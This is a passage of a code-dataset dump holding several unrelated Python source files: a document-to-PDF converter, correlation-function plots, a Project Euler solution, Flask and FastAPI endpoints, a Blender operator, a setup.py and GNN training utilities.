options[\"src_folder\"].split(\"\\\\\")[-1]\n\t\tprint(\"Converting: \"+file_name+\" ...\")\n\t\tdoc_to_pdf(path,path.replace())\n\tif (options[\"src_type\"] == \"folder\"):\n\t\tfor root,dirs,files in walk(options[\"src_folder\"]):\n\t\t\tfor f in files:\n\t\t\t\tif(f.startswith(\"~$\") or not f.endswith(('.xls','.xlsx','doc','docx'))):\n\t\t\t\t\tpass  #忽略临时文件和其他文件\n\t\t\t\telse:\n\t\t\t\t\tfile_list.append(join(root,f)) #保存所有文件绝对路径到一个列表中\n\t\tprint(\"%d files found in the specified directory.\"%len(file_list))\n\n\t\tfor doc_path in file_list:\n\t\t\tdoc_name = doc_path.split(\"\\\\\")[-1]\n\t\t\tprint(\"Converting: \"+doc_name+\" ...\")\n\t\t\tpdf_name = doc_name.split(\".\")[0]+\".pdf\"\n\t\t\tdoc_to_pdf(doc_path,options[\"src_folder\"]+\"\\\\\"+pdf_name)\n\t\n\tif(options[\"merge\"]=='y' and options[\"src_type\"]==\"folder\"):\n\t\tif(options[\"both_sides\"]=='y'):\n\t\t\toffset_file = options[\"src_folder\"]+\"\\\\\"+uuid.uuid4().hex+\".pdf\" #随机生成文件名\n\t\t\tcreate_offset_page(offset_file,pdf_maker)\n\t\t\tmerge_pdf_file(options[\"src_folder\"],both_sides=1,offset_file=offset_file)\n\t\t\tremove(offset_file)\n\t\telse:\n\t\t\tmerge_pdf_file(options[\"src_folder\"])\n","repo_name":"FreemanMeng1991/Python-Examples","sub_path":"ezp.py","file_name":"ezp.py","file_ext":"py","file_size_in_byte":8892,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"222303078","text":"import numpy as np\nimport matplotlib.pyplot as plt\nplt.style.use('nuala')\nplt.rcParams['xtick.labelsize'] = 22\nplt.rcParams['ytick.labelsize'] = 22\n\nimport matplotlib.patches as mpatches\nimport glob\n\ndef import_data():\n    folder=\"/gpfs/data/nmccull/zeldovich_out/run180816\"\n    \n    test = np.loadtxt(folder+\"/rp_pi.txt\")\n    rp = test[:,0]\n    pi = test[:,1]\n\n    #Monopole Redshift BAO\n    monors_results_b = glob.glob(folder+\"/with_bao/rs/cf_1d_*\")\n    monors_test_b = np.loadtxt(monors_results_b[0])\n    \n    monors_arr_b = np.zeros((len(monors_results_b), len(monors_test_b)))\n\n    i = 0\n    for r in monors_results_b:\n        temp = np.loadtxt(r)\n        monors_arr_b[i] = temp[:,1]\n        i += 1\n\n    #2D BAO\n    _2d_results_b = glob.glob(folder+\"/with_bao/rs/cf_2d_*\")\n    _2d_test_b    = np.loadtxt(_2d_results_b[0])\n\n    _2d_arr_b = np.zeros((len(_2d_results_b), len(_2d_test_b), len(_2d_test_b)))\n    \n    i = 0\n    for r in _2d_results_b:\n        _2d_arr_b[i] = np.loadtxt(r)\n        i += 1\n    \n    #Monopole Redshift No BAO\n    monors_results_nb = glob.glob(folder+\"/no_bao/rs/cf_1d_*\")\n    monors_test_nb = np.loadtxt(monors_results_nb[0])\n    \n    monors_arr_nb = np.zeros((len(monors_results_nb), len(monors_test_nb)))\n\n    i = 0\n    for r in monors_results_nb:\n        temp = np.loadtxt(r)\n        monors_arr_nb[i] = temp[:,1]\n        i += 1\n\n    #2D No BAO\n    _2d_results_nb = glob.glob(folder+\"/no_bao/rs/cf_2d_*\")\n    _2d_test_nb    = np.loadtxt(_2d_results_nb[0])\n\n    _2d_arr_nb = np.zeros((len(_2d_results_nb), len(_2d_test_nb), len(_2d_test_nb)))\n    \n    i = 0\n    for r in _2d_results_nb:\n        _2d_arr_nb[i] = np.loadtxt(r)\n        i += 1\n    \n    return rp, pi, monors_arr_b, monors_arr_nb, _2d_arr_b, _2d_arr_nb\n\ndef render_correlation_mean(rp, pi, monors_b, monors_nb, twod_b, twod_nb):\n    #Monopole RS BAO  \n    mono_rs_b_m   = np.mean(monors_b, axis=0)\n    mono_rs_b_err = np.std(monors_b, axis=0)/np.sqrt(len(monors_b)) \n\n    #Monopole RS NBAO  \n    mono_rs_nb_m   = np.mean(monors_nb, axis=0)\n    mono_rs_nb_err = np.std(monors_nb, axis=0)/np.sqrt(len(monors_nb))   \n\n    #2D Mean + Error\n    twod_b_m   = np.mean(twod_b, axis=0)\n    twod_b_err = np.std(twod_b, axis=0)/np.sqrt(len(twod_b))\n\n    twod_nb_m   = np.mean(twod_nb, axis=0)\n    twod_nb_err = np.std(twod_nb, axis=0)/np.sqrt(len(twod_nb))\n \n    #Transverse BAO\n    trans_b_m   = twod_b_m[0,:]\n    trans_b_err = twod_b_err[0,:] \n\n    #Transverse NBAO\n    trans_nb_m   = twod_nb_m[0,:]\n    trans_nb_err = twod_nb_err[0,:] \n\n    #LoS BAO\n    los_b_m   = twod_b_m[:,0]\n    los_b_err = twod_b_err[:,0] \n\n    #LoS NBAO\n    los_nb_m   = twod_nb_m[:,0]\n    los_nb_err = twod_nb_err[:,0] \n\n    #Render\n    plt.figure()\n    \n    p_mrs_b   = plt.plot(rp[0:255], mono_rs_b_m, color='r', lw=2)\n    p_trans_b = plt.plot(rp, trans_b_m, color='b', lw=2)\n    p_los_b   = plt.plot(pi, los_b_m, color='g', lw=2)\n\n    p_mrs_nb   = plt.plot(rp[0:255], mono_rs_nb_m, color='r', ls='--', lw=2)\n    p_trans_nb = plt.plot(rp, trans_nb_m, color='b', ls='--', lw=2)\n    p_los_nb   = plt.plot(pi, los_nb_m, color='g', ls='--', lw=2)\n\n    f_mrs_b = plt.fill_between(rp[0:255], mono_rs_b_m-mono_rs_b_err, mono_rs_b_m+mono_rs_b_err, alpha=0.2, color='r')\n    f_trans_b = plt.fill_between(rp, trans_b_m-trans_b_err, trans_b_m+trans_b_err, alpha=0.2, color='b')\n    f_los_b = plt.fill_between(pi, los_b_m-los_b_err, los_b_m+los_b_err, alpha=0.2, color='g')\n\n    f_mrs_nb = plt.fill_between(rp[0:255], mono_rs_nb_m-mono_rs_nb_err, mono_rs_nb_m+mono_rs_nb_err, alpha=0.2, color='r')\n    f_trans_nb = plt.fill_between(rp, trans_nb_m-trans_nb_err, trans_nb_m+trans_nb_err, alpha=0.2, color='b')\n    f_los_nb = plt.fill_between(pi, los_nb_m-los_nb_err, los_nb_m+los_nb_err, alpha=0.2, color='g')\n    \n    plt.axhline(y=0, color='k')\n    plt.xlabel(\"$r [Mpc/h]$\", size=24)\n    plt.ylabel(\"$\\\\xi(r)$\", size=28)\n    plt.axis([20,180, -0.01, 0.02])\n\n    monoredsArtist = mpatches.Patch(color='r')\n    transArtist    = mpatches.Patch(color='b')\n    losArtist      = mpatches.Patch(color='g')\n    baoArtist      = plt.Line2D((0,1),(0,0),color='k',ls='-')\n    nbaoArtist     = plt.Line2D((0,1),(0,0),color='k',ls='--')\n\n    plt.legend([monoredsArtist,transArtist,losArtist,baoArtist,nbaoArtist],[\"Redshift-space Monopole\", \"Transverse\", \"Line of Sight\", \"With BAO\", \"Without BAO\"], prop={'size':24},loc=1)\n    plt.show()\n\nif __name__ == \"__main__\": \n    rp, pi, monors_arr_b, monors_arr_nb, _2d_arr_b, _2d_arr_nb = import_data()\n    render_correlation_mean(rp, pi, monors_arr_b, monors_arr_nb, _2d_arr_b, _2d_arr_nb)\n\n","repo_name":"samhumphriss/ls_structure","sub_path":"results/summary_graphs/correlation_mean/correlation_mean.py","file_name":"correlation_mean.py","file_ext":"py","file_size_in_byte":4574,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"30336411986","text":"def primes_lt(n):\n    # too slow\n    nums = [0] * (n - 1)\n    nums[0] = 1\n    for i in range(2, int(n ** .5) + 1):\n        for j in range(2, (n // i) + 1):\n            if i * j < n:\n                nums[i * j - 1] = 1 # is nonprime\n    primes = set()\n    for i in range(len(nums)):\n        if not nums[i]:\n            primes.add(i + 1)\n    return primes\n\n\ndef pf(value, cache, primes):\n    if value in cache:\n        return cache[value]\n    for p in primes:\n        if value % p != 0:\n            continue\n        other = value // p\n        opf = set(pf(other, cache, primes))\n        opf.add(p)\n        cache[value] = opf\n        return opf\n\n\ndef prod(lst):\n    out = 1\n    for i in lst:\n        out *= i\n    return out\n\n\ndef e(k, n):\n    pr = primes_lt(n + 1)\n    cache = {i: {i} for i in pr}\n    cache[1] = {1}\n    pr_lst = sorted(list(pr))\n    for v in range(1, n + 1):\n        pf(v, cache, pr_lst)\n    rads = [(prod(v), k) for k, v in cache.items()]\n    rads.sort()\n    return rads[k - 1][1]\n\n\ndef test_e():\n    assert e(4, 10) == 8\n    assert e(6, 10) == 9\n\n\nif __name__ == '__main__':\n    # e(4, 10)\n    # print(primes_lt(10000))\n    print(e(10000, 100000))\n","repo_name":"pmaddi/euler","sub_path":"problem_124.py","file_name":"problem_124.py","file_ext":"py","file_size_in_byte":1165,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"36108826425","text":"from flask import Blueprint, request, jsonify, flash\nfrom flask_login import current_user\nfrom . import db\nfrom . models import get_Match, Player\nfrom . functions.discordnotify import discord_match_Post\nfrom . functions.player_processing import get_user_name, get_winners, mmr_logic, get_mmr, get_player_info\n#Starting MMR\nMMR = 1200\n\n\napis = Blueprint(\"apis\", __name__)\n\n\n#player look up\n@apis.route('/player', methods=['POST'])\ndef player():\n    data = request.get_json()\n    username = data['username']\n    player_exists = Player.query.filter_by(username=username).first()\n\n    if player_exists:\n        myPlayer = Player.query.filter_by(username=username).first()\n        id = myPlayer.id\n        mmr = myPlayer.mmr\n        wins = myPlayer.wins\n        loss = myPlayer.loss\n        print('Sucess: Player looked up')\n        return jsonify({'username' : username, 'ID' : id, 'MMR' : int(mmr), 'Wins' : wins,'Loss' : loss, 'age' : 'existing_player'})\n    else:\n        new_player = Player(username=username, mmr=MMR, wins=0, loss=0)\n        db.session.add(new_player)\n        db.session.commit()\n        myPlayer = Player.query.filter_by(username=username).first()\n        id = myPlayer.id\n        mmr = myPlayer.mmr\n        wins = myPlayer.wins\n        loss = myPlayer.loss\n        print('Sucess: New user created')\n        return jsonify({'username' : username, 'ID' : id, 'MMR' : int(mmr), 'Wins' : wins,'Loss' : loss, 'age' : 'new_player'})\n \n\n#matchload record, uses get_match model to get data\n@apis.route('/matches', methods=['POST'])\ndef matches():\n    data = request.get_json()\n    host_id = data['host_id']\n    winner = data['winner']\n    p1_id = data['p1_id']\n    p2_id = data['p2_id']\n    p3_id = data['p3_id']\n    p4_id = data['p4_id']\n    p5_id = data['p5_id']\n    p6_id = data['p6_id']\n    p1_ban = data['p1_ban']\n    p2_ban = data['p2_ban']\n    p3_ban = data['p3_ban']\n    p4_ban = data['p4_ban']\n    p5_ban = data['p5_ban']\n    p6_ban = data['p6_ban']\n    new_match = get_Match(host_id=host_id, winner=winner, p1_id=p1_id, p2_id=p2_id, p3_id=p3_id, p4_id= p4_id, p5_id=p5_id, p6_id=p6_id, \n    p1_ban=p1_ban, p2_ban=p2_ban, p3_ban=p3_ban, p4_ban=p4_ban, p5_ban=p5_ban, p6_ban=p6_ban)\n\n    winner_player = get_winners(winner, p1_id, p2_id, p3_id, p4_id, p5_id, p6_id)\n\n    if int(winner_player[0]) == 0:\n        print (\"error importing match\")\n        return jsonify ({'result' : 'Error', 'match status' : 'failed to Import'})\n\n    else:\n    #playername logic to go here\n        p_Name1 = get_user_name(winner_player[0])\n        p_Name2 = get_user_name(winner_player[1])\n        p_Name3 = get_user_name(winner_player[2])\n        discord_match_Post(winner, p_Name1, p_Name2, p_Name3)\n        db.session.add(new_match)\n        db.session.commit()\n        print(\"Match imported\")\n        mmr_logic(host_id, winner, p1_id, p2_id, p3_id, p4_id, p5_id, p6_id)\n        return jsonify ({'result' : 'Success', 'match status' : 'imported'})\n\n@apis.route('/test', methods=['POST'])\ndef test():\n    data = request.get_json()\n    # p1_id = data['username']\n    # a = get_mmr(p1_id)\n    # print(a)\n    host_id = data['host_id']\n    t_winner = data['t_winner']\n    p1_id = data['p1_id']\n    p2_id = data['p2_id']\n    p3_id = data['p3_id']\n    p4_id = data['p4_id']\n    p5_id = data['p5_id']\n    p6_id = data['p6_id']\n\n    mmr_logic(host_id, t_winner, p1_id, p2_id, p3_id, p4_id, p5_id, p6_id)\n    return jsonify ({'result' : 'Success', 'player status' : 'updated'})\n\n@apis.route('/test1', methods=['POST'])\ndef test1():\n    data = request.get_json()\n    p1_id = data['p1_id']\n\n    ab = get_player_info(p1_id)\n\n    if ab != None:\n        return jsonify ({'Player Name' : ab.username, 'player mmr' : ab.mmr, \n        'player wins' : ab.wins, 'player loss' : ab.loss, 'player created' : ab.player_date_created})\\\n    \n    else:\n        return jsonify ({'Player Name' : \"No records exist\"})","repo_name":"Gal1leox/PyroTD-API","sub_path":"website/apis.py","file_name":"apis.py","file_ext":"py","file_size_in_byte":3889,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"43585996155","text":"from datetime import datetime, timedelta\r\nfrom fastapi import HTTPException, Depends, status\r\nfrom fastapi.security import OAuth2PasswordBearer\r\nfrom jose import JWTError, jwt\r\n\r\nfrom .config import settings\r\nfrom .database.user import load as user_load\r\nfrom .database.friend import load as load_friends\r\nfrom .models import TokenData, UserInDB\r\n\r\n\r\noauth2_scheme = OAuth2PasswordBearer(tokenUrl=\"/api/user/token\")\r\n\r\n\r\nasync def get_current_user(token: str = Depends(oauth2_scheme)):\r\n    credentials_exception = HTTPException(\r\n        status_code=status.HTTP_401_UNAUTHORIZED,\r\n        detail=\"Could not validate credentials\",\r\n        headers={\"WWW-Authenticate\": \"Bearer\"},\r\n    )\r\n    try:\r\n        payload = jwt.decode(\r\n            token, settings.secret_key, algorithms=[settings.algorithm]\r\n        )\r\n        user_id: str = payload.get(\"sub\")\r\n        if user_id is None:\r\n            raise credentials_exception\r\n        token_data = TokenData(user_id=user_id)\r\n    except JWTError:\r\n        raise credentials_exception\r\n    user = UserInDB(**user_load(user_id=token_data.user_id))\r\n    if user is None:\r\n        raise credentials_exception\r\n    return user\r\n\r\n\r\ndef create_access_token(data: dict, expires_delta: timedelta | None = None):\r\n    to_encode = data.copy()\r\n    if expires_delta:\r\n        expire = datetime.utcnow() + expires_delta\r\n    else:\r\n        expire = datetime.utcnow() + timedelta(minutes=15)\r\n    to_encode.update({\"exp\": expire})\r\n    encoded_jwt = jwt.encode(\r\n        to_encode, settings.secret_key, algorithm=settings.algorithm\r\n    )\r\n    return encoded_jwt\r\n\r\n\r\ndef check_user_is_friend(user_id: str, friend_id: str, confirmed: bool):\r\n    # Get the user's confirmed friends\r\n    friends = load_friends(user_id, confirmed)\r\n    # Get the friend ids, excluding the users own id\r\n    friend_ids = []\r\n    for i in friends:\r\n        if not i[\"friend_id\"] == user_id:\r\n            friend_ids.append(i[\"friend_id\"])\r\n    # Return true if they are friends\r\n    return friend_id in friend_ids\r\n","repo_name":"BenBJD/snappy-api","sub_path":"snappy/dependencies.py","file_name":"dependencies.py","file_ext":"py","file_size_in_byte":2029,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"37569168248","text":"import numpy as np\nimport nltk\nnltk.download('stopwords')\nfrom nltk.tokenize import wordpunct_tokenize\n\n\nclass language:\n\n    def __init__(self, lang=\"NL\"):\n        if lang == \"NL\":\n            from .lang import NL as lang\n        else:\n            print(\"NOT YET SUPPORTED\")\n            assert lang == \"NL\", \"OTHER LANG NOT YET SUPPORTED\"\n        self.emb_array, self.int2str, self.str2int = lang.return_variables()\n\n    def word2emb(self, word):\n\n        if not word in self.str2int:\n            if word.lower() in self.str2int:\n                word = word.lower()\n            else:\n                return np.zeros(self.emb_array.shape[1])\n\n        _int = self.str2int[word]\n        return self.emb_array[_int, :]\n\n    def get_sentence_embedding(self, sentence, sentence_dict=False):\n        sentence_dictonary = {}\n        sentence_embedding = []\n\n        sentence = [word for word in wordpunct_tokenize(sentence)]\n\n        for i, word in enumerate(sentence):\n            sentence_dictonary[i] = word\n            emb = self.word2emb(word)\n            sentence_embedding.append(emb)\n\n        sentence_embedding = np.array(sentence_embedding)\n        if sentence_dict:\n            return sentence_embedding, sentence_dictonary\n        return sentence_embedding\n","repo_name":"takotab/chatbot","sub_path":"entity_rec/embedding/lang_wrapper.py","file_name":"lang_wrapper.py","file_ext":"py","file_size_in_byte":1262,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"35655860018","text":"from setuptools import setup, find_packages\n\nversion = \"1.0.8.dev0\"\n\nwith open(\"README.rst\") as readme_file:\n    readme = readme_file.read()\n\nwith open(\"CHANGES.rst\") as history_file:\n    history = history_file.read()\n\nrequirements = [\n    \"Click>=7.0\",\n    \"mercurial\",\n    \"pytz\",\n    \"threedi-api-client>=4.0.0b2\",\n]\n\ntest_requirements = [\"pytest>=3\", \"factory_boy\"]\n\nsetup(\n    author=\"Casper van der Wel\",\n    author_email=\"casper.vanderwel@nelen-schuurmans.nl\",\n    python_requires=\">=3.7\",\n    classifiers=[\n        \"Development Status :: 5 - Production/Stable\",\n        \"Intended Audience :: Developers\",\n        \"Natural Language :: English\",\n        \"Programming Language :: Python :: 3\",\n        \"Programming Language :: Python :: 3.7\",\n        \"Programming Language :: Python :: 3.8\",\n        \"Programming Language :: Python :: 3.9\",\n        \"Programming Language :: Python :: 3.10\",\n    ],\n    description=\"Tooling to migrate models from models.lizard.net to 3di.live\",\n    entry_points={\n        \"console_scripts\": [\n            \"threedi_model_migration=threedi_model_migration.cli:main\",\n        ],\n    },\n    install_requires=requirements,\n    long_description=readme + \"\\n\\n\" + history,\n    include_package_data=True,\n    keywords=\"threedi-model-migration\",\n    name=\"threedi-model-migration\",\n    packages=find_packages(\n        include=[\"threedi_model_migration\", \"threedi_model_migration.*\"]\n    ),\n    test_suite=\"tests\",\n    tests_require=test_requirements,\n    extras_require={\n        \"test\": test_requirements,\n        \"amqp\": [\"pika\"],\n        \"sentry\": [\"sentry-sdk\"],\n    },\n    url=\"https://github.com/nens/threedi-model-migration\",\n    version=version,\n    zip_safe=False,\n)\n","repo_name":"nens/threedi-model-migration","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1705,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"72555110912","text":"import bpy\nfrom mathutils import Matrix\n\nfrom smorgasbord.common.decorate import register\nfrom smorgasbord.common.hierarchy import get_lvl\n\n\n@register\nclass ForceApplyTransform(bpy.types.Operator):\n    bl_idname = \"object.force_apply_transform\"\n    bl_label = \"Force Apply Transform\"\n    bl_description = (\n        \"Apply every selected object's local transform to its mesh. If \"\n        \"the data is shared, the transformation of all instances is \"\n        \"adjusted so that they don't move\"\n    )\n    bl_options = {'REGISTER', 'UNDO'}\n    menus = [bpy.types.VIEW3D_MT_object_apply]\n\n    apply_to: bpy.props.EnumProperty(\n        name=\"Apply\",\n        description=\"Part of the transform to apply\",\n        items=(\n            ('ALL', \"Transform\", \"\"),\n            ('LOC', \"Location\", \"\"),\n            ('ROT', \"Rotation\", \"\"),\n            ('SCL', \"Scale\", \"\"),\n        ),\n        default='ALL',\n    )\n    to_cursor: bpy.props.BoolProperty(\n        name=\"To Cursor\",\n        description=\"Treat cursor as origin\",\n        default=False,\n    )\n\n    @classmethod\n    def poll(cls, context):\n        return context.mode == 'OBJECT'\n\n    # Build matrix to transform mesh data dependent on user choices\n    def _get_tmat(self, context, ob):\n        if self.apply_to == 'LOC':\n            tmat = Matrix.Translation(ob.matrix_local.translation)\n        elif self.apply_to == 'ROT':\n            tmat = ob.matrix_local.to_quaternion().to_matrix().to_4x4()\n        elif self.apply_to == 'SCL':\n            tmat = Matrix.Diagonal(ob.matrix_local.to_scale()).to_4x4()\n        else:\n            tmat = ob.matrix_local.copy()\n\n        if self.to_cursor:\n            return context.scene.cursor.matrix.inverted() @ tmat\n        return tmat\n\n    def execute(self, context):\n        # meshes, armatures, ... transformed by this operator\n        datas = dict()\n\n        # Transform data of every selected object and cache the\n        # applied transformation\n        for o in context.selected_editable_objects:\n            if hasattr(o.data, 'transform') and o.data not in datas:\n                tmat = self._get_tmat(context, o)\n                datas[o.data] = tmat\n                o.data.transform(tmat)\n\n        # Traverse scene graph top-down. Even unselected objects must be\n        # transformed if sharing data with a selected one.\n        for o in sorted(context.scene.objects, key=get_lvl):\n            # For every object, find the transformation applied to its\n            # data.\n            tmat = datas.get(o.data, None)\n            if not tmat:\n                # Even if o's data hasn't been transformed, get its\n                # transform if selected.\n                if o.select_get():\n                    tmat = self._get_tmat(context, o)\n                else:\n                    continue\n\n            # Move the object opposite to its data\n            o.matrix_local = o.matrix_local @ tmat.inverted()\n\n            # Update children to let them visually stay in place\n            for child in o.children:\n                child.matrix_local = tmat @ child.matrix_local\n\n            # Without this update, matrix_local is only updated after\n            # this script runs, so objects still return their\n            # transformation from before the operator, even if it has\n            # been set before.\n            context.view_layer.update()\n\n        # What does o.matrix_local turn into?\n        # * no child, no instance: o.matrix_local\n        # * child, no instance: tmat @ o.matrix_local\n        # * no child, instance: o.matrix_local @ tmat.inverted()\n        # * child, instance: tmat @ o.matrix_local @ tmat.inverted()\n        return {'FINISHED'}\n","repo_name":"D4KU/smorgasbord","sub_path":"ops/force_apply_transform.py","file_name":"force_apply_transform.py","file_ext":"py","file_size_in_byte":3655,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"60"}
+{"seq_id":"69991745473","text":"import sys\nimport os\n\nsys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), '../')))\n\nfrom matplotlib import pyplot as plt\nimport numpy as np\nimport torch\nimport torch.nn.functional as F\nimport torch_geometric\nfrom core import GraphDataset, GNNPolicy\nimport glob\nfrom pathlib import Path\nimport shutil\nimport os\nfrom collections import defaultdict\nfrom tqdm import tqdm\nimport pickle\nimport random\n\n\ndef data_collection_stats_figure(cpu_pct, cpus_pct, ram_pct, ram_used, ram_active, collect_trajectory_times):\n    fig, axs = plt.subplots(3)\n    axs[0].plot(cpu_pct, label='cpu_pct')\n    axs[0].plot(ram_pct, label='ram_pct')\n    cpus_pct = np.asarray(cpus_pct)\n    for i in range(cpus_pct.shape[1]):\n        axs[0].plot(cpus_pct[:, i], label=f'cpu{i + 1}_pct')\n    axs[0].set_ylabel('%')\n    axs[0].legend()\n    axs[1].plot(ram_used, label='ram_used')\n    axs[1].plot(ram_active, label='ram_active')\n    axs[1].set_ylabel('Gb')\n    axs[1].legend()\n    axs[2].plot(collect_trajectory_times, label='collect_trajectory_time')\n    axs[2].set_ylabel('Seconds')\n    axs[2].legend()\n    plt.show()\n\n\ndef train_gnn(working_path, config_name, collection_name, trajectories_name, train_batch_size, test_batch_size,\n              num_workers):\n    # Train GNN\n    LEARNING_RATE = 0.001\n    NB_EPOCHS = 15\n    PATIENCE = 3\n    MIN_DELTA = 0.01\n    DEVICE = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n\n    trajectories_path = f'{working_path}/data/collections/{collection_name}/{trajectories_name}/'\n    models_path = f'{working_path}/models/'\n    results_path = f'{working_path}/train_results/'\n\n    Path(models_path).mkdir(parents=True, exist_ok=True)\n    Path(results_path).mkdir(parents=True, exist_ok=True)\n\n    sample_files = [str(file_path) for file_path in glob.glob(f'{trajectories_path}*')]\n    sample_files.sort()\n    train_files = sample_files[:int(0.8 * len(sample_files))]\n    valid_files = sample_files[int(0.8 * len(sample_files)):]\n\n    train_data = GraphDataset(train_files)\n    train_loader = torch_geometric.data.DataLoader(train_data, batch_size=train_batch_size, num_workers=num_workers,\n                                                   pin_memory=True, shuffle=True)\n    valid_data = GraphDataset(valid_files)\n    valid_loader = torch_geometric.data.DataLoader(valid_data, batch_size=test_batch_size, num_workers=num_workers,\n                                                   pin_memory=True, shuffle=False)\n\n    policy = GNNPolicy().to(DEVICE)\n\n    train_results = defaultdict(list)\n    best_valid_accuracy = 0.0\n    n_epochs_no_improvement = 0\n    optimizer = torch.optim.Adam(policy.parameters(), lr=LEARNING_RATE)\n    n_steps_per_epoch = len(train_loader)\n    n_steps_done = 0\n\n    valid_loss, valid_acc = process_epoch(policy, valid_loader, None, device=DEVICE)\n    print(f\"Valid loss: {valid_loss:0.3f}, accuracy {valid_acc:0.3f}\")\n\n    train_results[\"val_loss\"].append((n_steps_done, valid_loss))\n    train_results[\"val_acc\"].append((n_steps_done, valid_acc))\n\n    for epoch in tqdm(list(range(NB_EPOCHS)), \"Processing epochs...\"):\n        print(f\"Epoch {epoch + 1}\")\n\n        train_loss, train_acc = process_epoch(policy, train_loader, optimizer, device=DEVICE)\n        print(f\"Train loss: {train_loss:0.3f}, accuracy {train_acc:0.3f}\")\n\n        valid_loss, valid_acc = process_epoch(policy, valid_loader, None, device=DEVICE)\n        print(f\"Valid loss: {valid_loss:0.3f}, accuracy {valid_acc:0.3f}\")\n\n        n_steps_done += n_steps_per_epoch\n\n        train_results[\"train_loss\"].append((n_steps_done, train_loss))\n        train_results[\"train_acc\"].append((n_steps_done, train_acc))\n        train_results[\"val_loss\"].append((n_steps_done, valid_loss))\n        train_results[\"val_acc\"].append((n_steps_done, valid_acc))\n\n        if valid_acc >= best_valid_accuracy + MIN_DELTA:\n            torch.save(policy.state_dict(), f'{models_path}/{config_name}.pt')\n\n            # Reinit no_improvement counter and best_valid_accuracy\n            n_epochs_no_improvement = 0\n            best_valid_accuracy = valid_acc\n        else:\n            n_epochs_no_improvement += 1\n            if n_epochs_no_improvement >= PATIENCE:\n                print(f'Validation accuracies stopped improving. Max accuracy reached was {best_valid_accuracy}.' +\n                      f'Model weights saved at {models_path}/{config_name}.pt')\n                break\n\n    with open(f'{results_path}/{config_name}.pkl', 'wb') as f:\n        pickle.dump(train_results, f)\n\n\ndef process_epoch(policy, data_loader, optimizer=None, device='cuda'):\n    # Code provenant de https://github.com/ds4dm/ecole/blob/master/examples/branching-imitation.ipynb\n\n    \"\"\"\n    This function will process a whole epoch of training or validation, depending on whether an optimizer is provided.\n    \"\"\"\n    mean_loss = 0\n    mean_acc = 0\n\n    n_samples_processed = 0\n    with torch.set_grad_enabled(optimizer is not None):\n        msg = f\"{'train' if optimizer else 'val'} epoch...\"\n        for batch in tqdm(data_loader, msg):\n            batch = batch.to(device)\n            # Compute the logits (i.e. pre-softmax activations) according to the policy on the concatenated graphs\n            logits = policy(batch.constraint_features, batch.edge_index, batch.edge_attr, batch.variable_features)\n            # Index the results by the candidates, and split and pad them\n            logits = pad_tensor(logits[batch.candidates], batch.nb_candidates)\n            # Compute the usual cross-entropy classification loss\n            loss = F.cross_entropy(logits, batch.candidate_choice)\n\n            if optimizer is not None:\n                optimizer.zero_grad()\n                loss.backward()\n                optimizer.step()\n\n            true_scores = pad_tensor(batch.candidate_scores, batch.nb_candidates)\n            true_bestscore = true_scores.max(dim=-1, keepdims=True).values\n\n            predicted_bestindex = logits.max(dim=-1, keepdims=True).indices\n            accuracy = (true_scores.gather(-1, predicted_bestindex) == true_bestscore).float().mean().item()\n\n            mean_loss += loss.item() * batch.num_graphs\n            mean_acc += accuracy * batch.num_graphs\n            n_samples_processed += batch.num_graphs\n\n    mean_loss /= n_samples_processed\n    mean_acc /= n_samples_processed\n    return mean_loss, mean_acc\n\n\ndef pad_tensor(input_, pad_sizes, pad_value=-1e8):\n    # Code provenant de https://github.com/ds4dm/ecole/blob/master/examples/branching-imitation.ipynb\n\n    \"\"\"\n    This utility function splits a tensor and pads each split to make them all the same size, then stacks them.\n    \"\"\"\n    max_pad_size = pad_sizes.max()\n    output = input_.split(pad_sizes.cpu().numpy().tolist())\n    output = torch.stack([F.pad(slice_, (0, max_pad_size - slice_.size(0)), 'constant', pad_value)\n                          for slice_ in output], dim=0)\n    return output\n\n\ndef get_name_for_BC_config(config):\n    name = [\"BC\"]\n\n    name.append(f\"expert-proba={config.expert_probability}\")\n\n    return \"_\".join(name)\n\n\ndef update_CQL_config_for_job_index(config):\n    if config.job_index == -1:\n        return \"\", config\n    else:\n        # Update config\n        index = config.job_index\n\n        config.expert_probability = [0.0, 0.25, 1.0, \"mixed\"][index // 12]\n        config.alpha = [0.0, 0.1, 1.0, 10.0][(index % 12) // 3]\n        config.seed = index % 3\n\n        # Get name\n        config_name = get_name_for_CQL_config(config)\n\n        return config_name, config\n\n\ndef get_name_for_CQL_config(config):\n    name = [\"CQL\"]\n\n    name.append(f\"expert-proba={config.expert_probability}\")\n    name.append(f\"reward={config.reward}\")\n    name.append(f\"alpha={config.alpha}\")\n    name.append(f\"{'with' if config.use_bc else 'without'}-BC\")\n    name.append(f\"seed={config.seed}\")\n\n    return \"_\".join(name)\n\n\ndef get_testing_config_name_for_job_index(config):\n    if config.job_index <= 47:  # 0-47\n        all_config_names = os.listdir(os.path.join(config.saving_path, \"models\"))\n        all_config_names = [config_name.replace(\".pt\", \"\") for config_name in all_config_names]\n        all_config_names = list(sorted(all_config_names))\n\n        config_name = all_config_names[config.job_index]\n    elif config.job_index == 48:\n        config_name = \"FSB\"\n    elif config.job_index == 49:\n        config_name = \"SCIP\"\n\n    return config_name\n\n\ndef get_testing_more_config_name_for_job_index(config):\n    if config.job_index <= 11:  # 0-11\n        all_config_names = os.listdir(os.path.join(config.saving_path, \"models\"))\n        all_config_names = [config_name.replace(\".pt\", \"\") for config_name in all_config_names]\n        all_config_names = [config_name for config_name in all_config_names\n                            if \"alpha=10.0\" in config_name]\n        all_config_names = list(sorted(all_config_names))\n\n        config_name = all_config_names[config.job_index]\n    elif config.job_index == 12:\n        config_name = \"SCIP\"\n    elif config.job_index == 13:\n        config_name = \"FSB\"\n\n    return config_name\n\n\ndef save_work_done(working_path, 